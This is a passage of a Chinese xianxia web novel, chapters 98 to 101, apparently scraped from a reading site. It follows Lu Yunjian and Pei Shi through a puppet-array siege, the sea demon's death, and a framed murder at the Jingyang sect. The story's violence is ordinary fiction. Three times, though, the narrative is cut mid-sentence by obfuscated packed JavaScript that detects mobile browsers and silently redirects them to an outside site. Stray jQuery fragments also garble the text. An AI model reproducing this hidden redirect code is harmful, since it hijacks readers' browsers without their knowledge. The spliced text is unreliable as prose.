陆云笺抬剑一挡,便觉出剑上传来的巨大力量,抬眼正对上那修士意味不明的笑脸:“陆小姐这可不像舞剑,反倒像是要把在下活剐了。” 陆云笺没有理会他,撤剑再出,二人之间寒光闪烁,剑身颤动,有如龙吟凤鸣。 那修士没有说错,陆云笺原就不会舞剑,因此虽有琴音相伴,二人却像路遇敌手见招拆招,剑随人转人随剑行,全然没有行云流水之态,唯有疾风骤雨之势。 众宾客一时哑然,却又不能拂人脸面,于是默然片刻,都抚掌喝彩。 陆云笺出剑的速度丝毫没有减慢,雷动掌声中,忽然传来清脆分明的铿然之声。 掌声霎时削弱了大半,后排看不清状况的修士仍在抚掌,却在终于看清殿中景象时一时怔然,寒意逐渐爬上背脊。 殿中兀自滚动着一样事物,细看之下,才发现那竟是先前与陆云笺一同舞剑的那名修士的头颅,那颗头颅在殿中滚动一轮,停在他原先坐的坐席边。 人群中蓦地爆发出一阵尖叫。 饶是这些修士见惯了生死,也万万料不到竟有人会在天下第一大派云间世主办、仙门百家领袖与翘楚出席的上元佳宴上…… 身首异处。 陆云笺抬手将借来的剑一抛,剑的主人接也不是、不接也不是,只呆呆愣在原处。 殿外忽地传来一阵疾跑之声,众人甚至来不及反应,奔入大殿的传信弟子已然嚷道:“尊主,结界之外忽然来了一众偶人,足有上千之数,如何也杀不尽,已然逼至结界边缘了!” 说完才看见殿中修士的尸首,吓得不轻,尖叫出声。再去看那修士的尸首,竟是没有半点鲜血,干瘪僵硬的躯体、死板无神的五官…… 赫然是一具偶人! 陆云笺的身形微微一顿。 ……偶人? …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时陆云笺开启献祭阵引诱海妖入阵,几人在外蹲守海妖,原本已将海妖斩杀,却不知它为何保住了一丝残魂,又不知为何人所助,竟得以再度附身孩童。 或许因为海妖残余的气息极其微弱,又或许是因它得他人相助,附身燕燕多日,逐渐蚕食燕燕的魂魄与意识,直至完全占领其躯体,竟全然未被发觉。 不仅是未被发觉…… 它甚至煞费苦心地呈现了家人枉死、家园被大火所毁、甚至于被制成金羽骨的景象,博得裴世不可多得的同情,得以接近他,得以在几人身旁潜伏多日,想方设法取出他体内的照灵骨…… 若非除夕正值年岁更替之时,修真界灵气动荡得最为厉害,无数妖魔鬼怪躁动不安,溟海海妖与破月妖狼同为妖类,互有感应,恐怕几人此时还不能发觉海妖就在身旁。 好在……还来得及。 “之前的妖狼魂魄我没有取到,让给你们了。这一回,归云仙君觉得自己能躲过……” 裴世手中暗暗蓄着力,冷声问道:“是谁?” 海妖微微一顿,而后似是有些轻蔑又有些怜悯地笑道:“照灵骨,和妖狼魂魄一样,想要的人多了去了,你管是谁?” 话音落,那道远在数丈之外的黑色身影已闪身至面前,海妖一惊,正欲后退,却觉右臂被猛地攥住,想要断臂逃脱,却是分毫动弹不得。 裴世缓缓收紧手,轻声道:“这一次,你觉得自己还有那么好的运气?” 强劲灵力自海妖右臂灌入,所过之处,血肉崩裂,鲜血飞溅! 眼看灵力蔓延至海妖肩膀处,血肉模糊的惨状将要扩散至半边身体,却忽然闯入一股力量,将海妖猛地往后一拽! 海妖整条右臂自肩膀处脱落,鲜血霎时扑满了裴世衣襟。 裴世收回手,飞速封住左肩的伤口,抬眼去看,却见海妖被一白衣人一手拽住,那白衣人替海妖挡了一击,此时一条臂膀沥沥淌着鲜血。 目光上移,正对上一双令人遍体生寒的眼睛。 雪白的眼睫,金色的瞳眸,在沉沉天色下,无端耀眼。 99. 偶人阵 白衣人仿佛全然没有痛感似的,甩了甩淌血的手臂,微笑道:“归云仙君,又见面了。” 他另一只手中提着的海妖早已失去意识,半边身体湿漉漉地淌着血,手臂断裂处血肉模糊,一片狼藉。 照翎族虽替海妖挡了一击,此时却全然没有注意她的状况,只上下扫了裴世一遍,笑道:“此处到底不是我的法力场,比不得上回在幻境,不承想这次归云仙君这么快就挣脱了我的压制。” 他说着抬手指了指自己胸口:“若是没有这么快,刚才那一掌,就该是从这里穿过了。” 裴世懒得与他废话,抬手再度召出归云剑,一剑击出,那照翎族的身影却倏然消失不见,唯余阵阵趋于癫狂的笑声久久回荡不散。 林间万木不知何时都已消失不见,目之所及,只有大片密密麻麻、无穷无尽的坟冢,土地之下,传来阵阵撕心裂肺的哀哭。 又是幻境。 裴世左肩被贯穿,暂时抬不起左手,便将灵力都灌入右手握着的归云剑中,沿着两侧坟冢相夹的道路快步前行。 如今幻境再难动荡他的心神,不多时他便找到了幻境的突破口,抬剑一刺,周遭光影闪烁,幻象扭曲退散,顷刻便又回到了葱郁林中。 裴世低眸扫了一眼暂且无恙的龙鳞宝剑,犹豫片刻,将龙鳞宝剑连同锦盒一道收入乾坤囊中。 原本让龙鳞宝剑守在溟海边是最为稳妥的,若是溟海发难,而陆云笺与他无法及时赶到,龙鳞宝剑也可自发而动,压住溟海些许时日。 如今看来,还是带在身边为好。 裴世快步走出山林,见溟海海浪仍无甚异样,波涛虽一如既往地汹涌,但好歹没有吞山食海。 海岸边无甚事物,唯有不远处一点黑影,隐约似是人形。裴世朝那黑影走去,待走近了看清了,心中又是一沉。 不过一时半刻,方才神采奕奕、出手迅猛的海妖便成了一具尸身,海妖的躯体仍是那个叫做“燕燕”的女孩儿,孤零零躺在海岸边,身体虽仍温热,却早已没了半分气息。 原先染红了半边身体的鲜血此时已然将燕燕浸于其中,胸口处狰狞可怖的窟窿已经没有半点血可流,空空荡荡,唯余撕裂模糊的筋络血肉。 裴世低眸看了片刻,扯下衣摆,盖在燕燕身上。 燕燕的身体瘦小,如此一盖,竟也遮去了最为血肉模糊的部分。 海妖还当那照翎族真与自己同心协力,却不料陆裴二人识出了它的真面目,此一番强取照灵骨失败,它在照翎族那处已然不剩多少价值,轻易便被弃如敝履。 人的肉身是隔绝妖魔鬼怪神仙精魅气息的最强屏障,正因如此,幕后之人才会寻来燕燕,作为容纳海妖残魂的“容器”。 唯有海妖身死、残魂也被夺去,只剩这孤单冰冷的一具尸身时,才又是那个从不曾与他们谋面、从不该被牵扯进此事的小女孩儿。 可那个保下海妖残魂、助它找寻肉身的人,又会是谁? 照翎族那时还被镇压在怜生寺,不会有余力做出此事。 那个人,可以调查到他的过往,以此让海妖演上一出博取同情的戏;也可以窥见陆云笺的过往,引她开启献祭阵,助海妖修复魂魄,即便陆云笺没有开启献祭阵,也能更为确定她的记忆是否缺失。 如此看来,屡次破坏绝杀阵、帮助海妖遮掩气息的也就是此人,又或者并非是人…… 思及此,裴世忽觉肩上一凉,当即劈手往身后一击,却只捕捉到一丝残余的影子,再回身,那照翎族不知何时又立在了前方不远处。 数百年来世人争相捕捉照翎族族人及其残魂,若不能遮掩气息与痕迹,绝无可能逃出生天,因此若说遮掩气息,的确无人能出照翎族之右。 即便是对妖魔气息最为敏锐的破月妖狼与季衡,也未曾觉察出照翎族的痕迹,而他体内有照灵骨,原当与照翎族互有感应,却也未能捕捉到半分气息。 如若先前帮助海妖的不是照翎族,那么那些遮掩之法,也极有可能是照翎族相传,此人必然与照翎族联系密切……或说,早与照翎族相识,暗中有所联系。 会是谁? “原来当真只有归云仙君在啊。”照翎族有些遗憾地摊手,“我原还想与陆小姐叙叙旧呢。” 裴世面色一冷:“你也配?” 照翎族道:“归云仙君应当不知道,两年前陆小姐前去怜生寺求问,问的是什么吧?” “……” “那时我听她发问,心中只觉好笑,不知云间世又历三百二十年,怎么会出一个陆小姐这般有意思的人?两年后见到归云仙君,才知原来有意思的人不止她一个。当今仙门翘楚,‘风华五君’,能有你们二位,真不知修真界是幸运还是不幸……她问我,‘为救千万人而杀一人,是对,还是错’。” 裴世蓦地睁大眼睛。 照翎族面上笑容不坠,声音却愈沉愈冷:“那时我答她,‘如欲杀之,对错何妨’。一人或是十余人,又或者千万人,都不过蚍蜉蝼蚁,这是三百二十年前,云间世陆成蔺陆掌门教与我的,我铭记于心,深觉其为至理,意欲付诸实践。不过归云仙君不用担心,我不会动手杀你与陆小姐的。我很好奇,届时妖魔临世,二位的选择会是如何,死法又会是如何。” 裴世道:“你若记性如此之好,也当记得我说过,即便我死,也一定会让你死在我之前。” 照翎族闻言,笑容更甚:“拭目以待。” 裴世道:“通过海妖取照灵骨这一张牌已经废了,你以为自己还有多少胜算?” “归云仙君与我装什么糊涂呢。”照翎族道,“若是你们认为海妖只有这一个用途,那又来取什么龙鳞宝剑?” 裴世扫了一眼风浪渐渐止息的溟海,收回目光,道:“这一回发动海难的牌也废了……你不过片缕残魂,能与我们耗多久?” 照翎族笑道:“这一回失败了,还可以有很多回,我魂飞魄散了,还会有很多人。归云仙君,来日方长。” 话音落,那抹浅淡的白色身影忽地彻底淡去,前方风移影动,风停声息时,溟海仍是溟海,岸上却立满了面目空白的偶人,僵硬却几乎坚定地向前涌来。 裴世微微蹙眉,顿了片刻,提剑斩去。 然而归云剑虽能大片大片地斩碎偶人,但偶人却无穷无尽,如同江流潮涌一般源源不断地涌上前来,片刻不停,无休无止。 裴世无法抬起左手,只得收了剑,右掌中化出无数金色丝线,一一牵住所有偶人。 此处偶人阵虽与同渊阁的偶人阵极为相似,但到底不同,没有内设千机阵,偶人也并非由丝线牵引才能活动,反之,这一回裴世放出数道丝线,是以灵力控住偶人不再活动。 黑压压的偶人终于停止了活动,静止在原处。 无数偶人簇拥在一处,宛若从天边撕下来的一片阴沉黑雾,逐渐向人间蔓延。 陆云笺与数位仙首御剑行至云间世结界边缘时,瞧见的就是这样的景象。 陆云笺立在惟霜之上,没有靠近细看,却也知这些偶人远不如同渊阁的精细与灵活,但那些源源不断的偶人恐怕与同渊阁偶人阵一样,俱是幻影,偶人阵不破,偶人便会无休无止地出现,虽然没什么攻击力,却着实麻烦。 结界之外,云间世一众修士在偶人中厮杀,虽还算是游刃有余,但这些偶人诛杀不尽,众修士已隐隐有了疲倦之态。 跟随而来的众修士瞧见这么幅景象,霎时有些慌乱:“这、这下面是什么?!” “之前陆尊主与陆小姐的出关宴出了树妖藤妖,这回又出了这些……这些木偶人,云间世这是怎么了?!” “这些木偶人怎么回事,怎么杀也杀不尽?!” “你们看,那边也有好多偶人!我们被包围了!” “怎么办,若是这些偶人杀不尽,我们要怎么才能出去?谁知道御剑而行那些偶人会不会追到天上来?” “陆尊主,这些偶人眼下包围了云间世,陆尊主也当给我们一个说法吧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470606|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 更有人慌不择言,在人群中朝陆稷嚷道:“是不是像一年前一样又要发灾了?!这回是不是要来真的了……陆尊主,开圣清结界吧!” “这只怕是妖魔临世的前兆,陆尊主,恳请速开圣清结界吧!” 陆云笺蹙眉下望,闻言正欲阻拦,却忽然瞥见无数偶人中,飘然而过一个白色身影。 黑压压的偶人中,那抹白色身影十分显眼,众人却仿佛都没有注意到似的,有人在高声请求开启圣清结界,有人在问圣清结界是为何物,唯独没有人问起那抹白影。 那抹白影闪至云间世结界前,抬头朝众人所在之处望来。 陆云笺与那双淡金瞳眸骤然对望,心中一惊,便见那抹白影抬手朝自己挥了挥,而后消失不见。 下一刻,身后的人群又爆发出一阵喧哗:“有偶人穿过云间世的结界了!!” 众人闻言连忙往下望去,果见有几个偶人颤颤巍巍地穿过了云间世的结界,缓步朝众人所在之处走来。 人声霎时鼎沸,越来越多的人开始高喊:“陆尊主,开圣清结界吧!” “圣清结界若不开,如何挡得住这些妖魔啊!” “陆尊主,此时不开圣清结界,还待何时啊……” 陆云笺蓦然回过神来,朝身旁的陆明周道:“哥,不能开圣清结界!”她说罢一抬手,以灵力幻化出无数紫色丝线,一一牵住了所有偶人。 陆云笺握紧手中丝线,那些偶人总算静止下来,不再动弹。 她也不曾学过什么偶人操纵之术,只能强凭灵力控制越界的几个偶人回到结界之外。 陆明周虽不知陆云笺为何阻止开启圣清结界,却也没有犹豫,当即朝陆稷道:“父亲,不能开圣清结界。” 陆稷也知这些偶人并非什么了不得的妖魔,并未下令开启圣清结界,闻言微微点头。 众修士见陆云笺控住众偶人不动,安静了许多,只是仍在小声议论: “这些偶人都不动了……陆小姐为什么会操纵偶人?” “光控住不动也没用啊,它们还是会堵在那……” “这些偶人究竟是怎么回事啊……” 陆云笺一动不动地扯着偶人,道:“哥,这些偶人数量太多,要牵住它们太耗灵力,我暂时不能施展别的术法,也不知道怎么操纵这些偶人活动。这些偶人是幕后之人引诱我们开启圣清结界的诱饵,我们万不能在此时就露了底,更何况,圣清结界极耗灵力,如若此时就开启,届时妖魔临世,仙门恐怕不会有多少余力延续圣清结界。” 她说罢并未回头,只大声唤道:“有没有会操纵偶人的?会操纵皮影人也行,过来!” 人群中一阵骚动,却没有人上前。 陆云笺咬牙道:“机甲门的人呢?!机甲门的人上来!” 陆明周道:“星枢长老在何处?悬机长老?机甲门的弟子呢?机甲门的弟子速速上前!” 唤了一阵,仍是无人上前。 陆明周正欲回去抓人,人群中却忽然挤出了一名弟子:“我……我师尊抱病未来,我、我行吗?” 那弟子形貌普通,瑟瑟缩缩,青涩又胆小,陆明周见这名弟子十分面生,并非同辈中的佼佼者,因此有些不放心:“你师尊是何人?” “是、是星枢长老,我会、会一点偶人操纵之术。” 星枢长老是机甲门中唯一会操纵偶人的长老,只是年迈多病,门下只有一名弟子,正是眼前这人。 这名弟子虽不出众,但好歹师承星枢长老,想来不会太差,陆明周于是道:“莫要紧张,上前来吧。” 陆云笺瞥了那弟子一眼,将手中丝线递给他:“这丝线上的灵力不用你运转,你只需操纵这些偶人自相残杀即可。” 数道紫色丝线在偶人阵中发出璨然辉光,那弟子接过丝线,牢牢抓在手中,不由自主地深吸一口气。 偶人在操纵之下再次动了起来,这一回,却是个个身手敏捷、出手狠重,霎时散架了一大片! 100. 伪罪戏 这弟子看起来懵懂青涩,操纵偶人的手法却极为熟练,包围云间世的偶人只消一个时辰便被杀了个干净。他操纵偶人时虽因紧张而汗流不止,神情却认真专注,双目炯炯,仿佛不是在破阵,而是操纵偶人演了一出木偶戏。 陆云笺收回灵力化成的丝线,问那弟子:“你叫什么名字?” 那弟子拭去额上的汗,听见陆云笺问他,愣了一瞬才回答道:“在下名叫陈端,取的是‘端端正正做人’的意思。” 陆明周道:“你操纵偶人的手法很是熟练,为何之前不曾听过你?” “我、我近身格斗和灵力术法都很一般,制作和组装机甲也……不是很好,只有操纵机甲类的术法好一些。” 陆云笺道:“我听说星枢长老脾气古怪得很,木偶操纵术并不是什么常用术法,大多弟子都不愿修,你为何会选择修习此道?” “我师尊虽然看起来不太好说话,但人还、还是挺好的。”陈端道,“我家就是靠演木偶戏为生的,所以操纵类术法会比较适合我,那时拜入师门,同辈子弟都拜了机甲门其余长老为师,轮到我的时候,别的长老门下都已经没有名额了……” 陆云笺心下了然。 陈端既是表演木偶戏出身的,想必家境不会太好,云间世拜师讲究出身家门,他既不是仙门子弟,又没有什么钱财,好道法、好师父自然是轮不到他来选的。 不过眼下陆云笺并没有太多心思去管这名弟子如何,只道:“有道是‘行行出状元’,今日若不是你,我们还不知要与这偶人阵耗多久。”她说着朝结界外的偶人躯体山一抬下巴,“方才你操纵偶人时,手感如何?” “……手感?” “你觉得这些偶人如何,或说,你觉得操纵这些偶人包围云间世的人手法如何?” 陈端思索片刻,道:“这些偶人制作得不甚精细,活动不甚灵活,攻击力也不强,而且那人的手法也绝不像是木偶戏手艺人,也不算娴熟,像是初入门道者。” 陆云笺微微蹙眉。 初入门道者……或许只是见过木偶戏表演,见过手艺人操纵木偶…… 或者在同渊阁内,见过偶人阵。 陆云笺不由得想起了那个在掷骰时暗中助她与裴世进入同渊阁的人。 此人应当就是假装同渊阁放火、引他们前往同渊阁的人,而那人如此行事的目的,或许就是为了跟随他们获取偶人阵的讯息。 毕竟若真有谁能把同渊阁搅个天翻地覆、引得同渊先生不得已开启偶人阵,那只会是她与裴世。 即便他没能得到偶人阵的讯息,也不会付出任何代价,这是一桩稳赚不赔的买卖。 当初裴世炸毁同渊阁,为的就是不让同渊阁内的术法、法器、秘籍等落入人手、为人所用,可却不料即便同渊阁被炸了个干干净净,仍有人能利用同渊阁内的术法。 可在东岳大帝像被毁之前,照翎族一直被镇压在怜生寺,就算他还有余力设置幻境,也绝无可能逃出怜生寺,去往同渊阁。 那还有谁有机会在同渊阁见到偶人阵? 她自己,裴世,宋承泽,还有那个将宋承泽救走的人…… 不,不仅是这些人,或许之前就有人见过偶人阵,就算是自己遇上偶人阵的那回,也不一定只有这些人能见到,或许还有人,从不曾露面…… 那么如果是救走宋承泽的那个人,那又会是谁? 宋承泽说那人是妄尘的一位故人,莫非也是出自参世仙人座下?参世仙人…… 此时诸多线索不明,陆云笺不再深思,转头问道:“今日在大殿上自请舞剑的修士是哪个门派的?” 陆明周正欲回答,季衡却不知何时出现在了几人身旁:“是我镜阳宗辖地内的一个门派,叫做白眉楼,掌门抱病不曾赴宴,只派了大弟子前来,正是自请舞剑那位。” 陆云笺道:“白眉楼?没听过。这门派有什么特别之处么?” 季衡眉间难得地显出一抹忧色:“暂且不知,已经派遣镜阳宗弟子前去探查了。” 陆云笺点点头:“季衡,那时我们去同渊阁,你没能进入一醉坊,之后去了哪里?可有遇上什么可疑之人?” 季衡道:“那时我没能进入一醉坊,便回了第三层继续观察拍卖会,未曾发现可疑之处。拍卖会结束后,我便去了炼器阁,意图找出龙鳞宝剑的下落。若说其中可疑之人……同渊阁鱼龙混杂,大多数人又不以真面目示人,实在看不出有什么特别之处。” “也罢,”陆云笺道,“眼下上元宴是办不成了,幕后之人似乎已经开始动作,你若是无事,不如留下来一同商讨后续事宜如何?” 季衡眉间忧色更浓,轻轻摇头,道:“怕是不便了。我也正要与陆少主和陆小姐道别,宗主的病情骤然加重,怕是……我需先回镜阳宗一步,留阿瑶在此商讨后续事宜。” 陆云笺道:“可是因为季宗主体内的毒?” “宗主近年来病情极不稳定,不仅是因为体内的不明毒物,也与契约之事有关。” “既如此,我与你一道去镜阳宗吧。” 闻言,陆明周与季衡俱是微微一怔。 季衡道:“这……不必了,宗主卧病已有数年,无数医宗圣手都看过,未能好转。陆小姐还有要事,就不多麻烦了。” 陆云笺道:“我从前四处奔走,也见过不少毒物,没准能帮上点忙,便是不能痊愈,能延缓些许毒发的时日也好。至于后头的事,就交给我哥了,我也没什么必要参与商讨。” 季衡犹豫片刻,道:“既如此,那便先谢过陆小姐了。” 二人御剑行至镜阳宗,所幸镜阳宗未遭偶人围攻,一路奔至掌门居室,畅通无阻。 季衡走在前头,推开了居室门,陆云笺看清屋中景象后,却是微微一怔,心中顿生不妙之感。 饶是掌门居室宽敞,此时也被站在里头的数十人塞得满满当当,见季衡推门进来,小的都两眼放光连喊“大师兄你终于回来了”,老的都满面忧色只道“季公子还好赶上了”。 陆云笺见着这么个场景,有些后悔先前的决定。 偏生有位长老眼尖,第一眼便看到了她:“怎么回事?你怎么……” 季衡道:“陆小姐是与我回来察看宗主病情的,诸位切不可失礼。” 一老者立在最前,众人明里暗里都看着他的脸色,正是镜阳宗的大长老。 大长老闻言不悦道:“季公子这是何意?我镜阳宗不欢迎外客,陆小姐还是请回吧。” 陆云笺隔得远,扫了一眼躺在床榻上的季良衢,判断不出此人现状如何,但也不打算多留,便道:“既如此,我就先告辞了。”说完正欲迈出门去,却忽然听见一声惊呼。 她下意识回过头,听见一名弟子带着颤抖的声音响起来:“宗主、宗主他去了!” 陆云笺正要迈出门去的脚步顿住了。 大长老上前探了脉搏,对众人摇了摇头,场中默然片刻,大长老忽地抬手朝陆云笺一指:“来人,把她给我押起来!” “且慢,”陆云笺原想上前看一眼季良衢的状况,然而前方镜阳宗的长老、弟子挡得严严实实,左右又有弟子要上来动手,只得作罢,“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16476996|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长老这是何意?泼起脏水来如此不讲道理?” “简直荒唐!”大长老气得微微发抖,“你这小辈竟如此不懂礼数,害我镜阳宗掌门,还……还……” “在场的都是季宗主的心腹,除了你这个外人,还有谁会下此毒手?!” “陆小姐,即便云间世与镜阳宗略有嫌隙,你也不该……” “我们在此都是亲眼所见,你怎能……便是你瞧不惯我镜阳宗,也不该如此狠心啊……” “先前观星长老看过天象,季宗主驾鹤当在酉时一刻,如今才区区申时三刻,陆云笺,你下此毒手,实乃逆天而为,不怕遭报应吗!” 陆云笺远远地瞧着季良衢,见他仍与之前一般平静,身上也并无什么明显痕迹,若是他杀,那人下手应当是极狠极准的,一瞬之间就能毙命。 方才季良衢似乎有什么事正要交代,话未出口便忽然断了气,此时季衡立在床榻边,微垂着头,看不清神色,不知作何想。 宗主暴毙,镜阳宗的人却并无多少悲痛,反倒一致咄咄逼人地寻云间世的不是,确是仙门大家风范。 若是此时遁走,便是立即坐实了杀害镜阳宗宗主的罪名,镜阳宗必会立即发出缉拿令,陆稷也必不会执意保她,不多时便会昭告天下,对她进行通缉。 若是她被通缉,云间世定然会一道为裴世安上罪名,如此一来,届时捉拿裴世开启断界阵便有了正当理由,修真界大可心安理得地强取照灵骨。 待到二人被通缉,恐怕再没有多余时日,也无甚机会再去摸清与摧毁云间世的各个阵法了,而此时若从镜阳宗遁走,再想探查镜阳宗的阵法更是难上加难。 若是缺少云间世与镜阳宗阵法的讯息,后续行动会更加难办。 陆云笺冷笑一声,道:“从前只觉得镜阳宗有些人属实讨厌,却不料您几位脑子真有包。我连你们宗主的面都没见着呢,使的是隔山打牛么?” 众长老尚未发话,一名弟子便惊道:“你、你怎么说话的?” “我怎么说话?”陆云笺清晰地感觉到双手被捆仙索紧紧缚住,并未反抗,嘴上却不打算饶人,“你家宗主不明不白地去了,他的心腹却毫无悲痛怅然之意,反倒先泼人脏水,我替他老人家心寒啊。” 大长老仿佛要气得吐血昏厥,喝道:“把她——把她给我押到地牢去!多派几个弟子守着!” 陆云笺被押着往外走了几步,走至门边时,又回头笑着补了一句:“有道是‘世界之大无奇不有’,您就是奇蠢的人才。” 镜阳宗地牢是关押重罪之人的处所,环境阴暗潮湿,蛇鼠虫蚁在其间穿行,壁上挂着经年不曾清理的血迹,地上未铺干草,冰凉石地令人脊背生寒。 陆云笺被押着进了地牢,手上捆仙索仍捆得死紧,押送的弟子锁了牢门便离去了,想来地牢自带了关押咒法,看守的十余名弟子不愿进来,便都守在外头。 陆云笺打量了一圈四周的环境,移了个地方,避开石板上淅淅沥沥下落的不明液体。 地牢建在一座山峰之下,要想炸开地牢,动静太大,灵力耗费也大,不划算。 若是破开地牢的关押咒法,不知外头看守的弟子会何时进来,也不知会不会有机灵的先给长老报信,不够保险。 若是将那些弟子一一弄晕,恐怕易引人注意,且不够迅速。 ……全杀了? 陆云笺正暗自盘算着,地牢外却忽然传来一阵急促的脚步声。 那脚步声在地牢口停顿片刻,又奔了进来,地牢口的光线一明一暗,自那一线天光下,钻进来一人。 101. 灵髓绝 来人是个十几岁的少年,穿的不是镜阳宗统一制式的青碧色弟子袍,而是一件淡金的锦袍,上头金丝所绣金乌神鸟在黑暗中熠熠生辉。 那少年奔过来,二话不说就开始用什么东西捅地牢的锁。 陆云笺细细打量了那少年一阵,声音中罕见地带上了几分惊疑不定与难以置信:“……季繁洲?!” 季繁洲几下便捣开了锁,又开始对付关押咒法,闻言匆忙地抬了下头,道:“我刚刚就站在宗主的床榻边上,我觉得不是你害了他。”见陆云笺蹙眉思索,他有些不满地道,“你难道没看见我吗?” 虽说一屋子青碧色里淡金色的确显眼,但也只是显眼而已,陆云笺还真没心思去仔细辨认每个人的脸。 陆云笺有些心虚地低眸看他捣鼓法咒,三两下挣开了捆仙索,道:“要不直接把它炸开好了。” “不用,动静太大了,我好不容易才把他们弄走,”季繁洲道,“马上就好了。” 陆云笺沉默片刻,一时不知该如何告诉他,其实自己并不打算现在就走。 季繁洲没有发觉陆云笺所思所想,低着头捣鼓半天,犹豫着有些不自然地开口:“上回在同渊阁,你救了我,我欠你一个人情。之前觉得你们云间世的人都……是因为怀疑宗主的毒就是你们云间世的人下的。” 见陆云笺不说话,季繁洲手一顿,有些迟疑地抬起头:“……应该不是你下的吧?” 陆云笺道:“你觉得是吗?” 季繁洲暗自松了口气:“我觉得不是啊,不然我来干什么?” 然而不待一口气松到底,他又蓦地一顿,再抬头时,面色苍白,血色几乎已然退尽:“完了……我才知道,地牢的关押咒法没有掌门令是解不开的。” 陆云笺正欲上前察看关押咒法,却忽然听见地牢外又传来一阵略显急促的脚步声。 季繁洲几乎是木僵地转过头,声音中的惶然暴露无疑,甚至带上了几分颤抖:“季、季衡哥……” 季衡面色苍白,没有多理会季繁洲,只抬手解开关押咒法,沉声道:“走。” 季衡说完便迈出地牢,陆云笺拽过愣在原地目瞪口呆的季繁洲,快步跟了上去。 三人所经之处静寂无人,想来还无人发觉地牢的异样。 陆云笺隐隐觉得走在前方的季衡有些不对,却又不知该从何问起,只道:“季衡,是谁?”这话问得简短,但陆云笺知道,季衡必能明白她的意思是问杀害季良衢的人是谁。 走在前方的季衡闻言停了步,却没有回答,只道:“你们先走。” 季繁洲心中虽有百般疑惑、万般惊骇,但季衡发了话,他便不再多想,只拉了陆云笺:“我带你走小路,这边快些。” 陆云笺心中的怪异感愈来愈强,被季繁洲拽着走了几步,便挣开他的手:“等等!”再回头,却见季衡不知何时单膝跪倒在地,双手死死按住了胸口。 他面上了无血色、细汗密布,即便只是一眼,也能看出他浑身剧烈颤抖、几近虚脱。 陆云笺一惊:“季衡!” 季繁洲也奔上前:“季衡哥!” 季衡勉强抬眸,那一瞬他的眼眸极其混沌,交织着痛楚、恐惧与无措—— 仿佛极乱,无数魂灵在其中挣扎混战;仿佛极静,像是某一座坟冢无人问津;仿佛极亮,是从未出现过的清明眸色;仿佛极暗,亘古长夜即将覆将上来。 季衡死死咬着牙,丝丝鲜血与轻若蚊吟的话语一齐自他齿间流出:“是我……是我杀了他。有东西……在……抢夺我的……” 陆云笺将灵流打入季衡的经脉,却只能觉出他体内灵力极其紊乱,全然觉不出他所说的另一个东西。 陆云笺转换了灵流,试图压制他体内灵力的躁动,一字一顿地问道:“是什么东西?” “我……不知……”季衡忽地勉力抬手,紧紧攥住陆云笺扶着自己的手,“陆小姐,杀了……” 季衡已经没有力气再说话,闷哼一声,又猛地将陆云笺推开! 青碧色灵光猛地爆炸开来,霎时罡风四起、山石崩裂,天地震颤,镜阳宗结界一瞬间裂开数道缝隙,险些崩裂瓦解。 陆云笺被极其强劲的灵力逼出数丈,一瞬被亮至白炽的灵光晃住眼睛,却半点不敢闭眼,勉力朝灵光爆裂之处看去。 飞沙走石掀起阵阵尘沙,陆云笺隔着浓重而几乎不可见五指的尘灰,看见了大片大片的鲜红。 季衡的双臂一片红白之色,血肉外翻,筋脉尽断,深可见骨。右掌却呈爪状,死死抓在自己胸口,指尖已经没入胸膛的血肉,几乎能够透过五个狰狞的血窟窿看见那颗兀自跳动的心脏。 他的另一只手上,紧紧攥着一样彻底破碎、再无效用的事物,是镜阳宗掌门令。 陆云笺奔上前去,手却抓了空,沙尘飘然而过,再度能够看清眼前事物时,跪在地上的季衡已经了无踪迹。 季衡失踪了。 即便灾劫推迟、至今不曾发生,季衡却仍如逆转时空前一样失踪了。 即便在她眼前,也失踪得不明不白、不知去向。 季繁洲被方才爆裂的灵力斥得远了些,但仍然清清楚楚地瞧见了季衡凭空失踪,此时远远望着地上留下的一摊鲜红血迹,只觉浑身僵硬、无法动弹,遑论迈动脚步。 陆云笺只用了片刻缓过神:“季繁洲!” 季繁洲仿佛才回魂,艰难迈动两步,喃喃道:“季衡哥……” “季繁洲,尽快用通讯符联系季瑶,”陆云笺近乎残忍地冷静道,“你刚才听见了吗?季衡说有东西在抢夺他的身体,提醒季瑶彻查镜阳宗,有东西已经潜入了镜阳宗,必然会留下痕迹。那东西操纵季衡杀了季宗主,还需查清季宗主的死因,看致死之法有无特别之处……” 见季繁洲仍回不过神,陆云笺抬手点上他额头,强行施了清心咒法,喝道:“季繁洲!” 季繁洲猛地睁大眼睛,依言取了通讯符,颤声道:“……我知道了。” 地动山摇的动静渐渐消下去,远处传来嘈杂人声,渐渐奔近,想来都是朝着此处奔来察看状况的。 季繁洲颤抖着在通讯符上画下几笔,再抬眼时,眸中的茫然与惊骇已几乎被泪水模糊:“你走吧……季衡哥也希望你走的。” ……走? 还有何处可去? 此一去,这世间再也不会有她与裴世的容身之所了。 